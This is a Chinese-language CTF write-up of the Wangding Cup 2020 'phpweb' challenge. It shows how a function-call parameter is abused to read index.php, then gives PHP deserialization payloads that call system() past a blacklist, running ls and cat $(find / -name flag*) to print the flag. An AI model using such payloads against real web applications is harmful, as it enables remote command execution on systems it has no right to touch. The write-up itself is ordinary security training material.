网鼎杯 2020 朱雀组phpweb

主页这边抓包发现 func=date&p=Y-m-d+h%3Ai%3As+a 这句话这边可以传参

func=file_get_contents&p=index.php 然后给了一堆的源码

func != "") { echo gettime($this->func, $this->p); } } } $func = $_REQUEST["func"]; $p = $_REQUEST["p"]; if ($func != null) { $func = strtolower($func); if (!in_array($func,$disable_fun)) { echo gettime($func, $p); }else { die("Hacker..."); } } ?>

虽然被禁用了一大堆但是还有反序列化可以用 func=unserialize&p=index.php

func != "") { echo gettime($this->func, $this->p); } } } $a=new Test(); echo serialize($a); 贴一下构造的序列化代码构造这个生成O:4:"Test":2:{s:1:"p";s:2:"ls";s:4:"func";s:6:"system";} payload1 func=unserialize&p=O:4:"Test":2:{s:1:"p";s:2:"ls";s:4:"func";s:6:"system";} 获得文件列表 func=unserialize&p=O:4:"Test":2:{s:1:"p";s:14:"ls ../../../..";s:4:"func";s:6:"system";} 然后给了更多 但是你丫的怎么没有flag ┗|`O′|┛ ![wwwwww.png](https://github.com/ajin-max/ajin-max.github.io/blob/master/img/wwwwww.png?raw=true) **知识点:寻找flag文件常用命令小结:** system(‘ls’) : 列举当前目录下的所有文件 system(“find / -name flag*”):查找所有文件名匹配flag*的文件 system(“cat $(find / -name flag*)”):打印所有文件名匹配flag*的文件 那么这个p就得变成p=cat $(find / -name flag*) func=unserialize&p=O:4:"Test":2:{s:1:"p";s:25:"cat $(find / -name flag*)";s:4:"func";s:6:"system";} 最终payload ![weww.png](https://github.com/ajin-max/ajin-max.github.io/blob/master/img/weww.png?raw=true)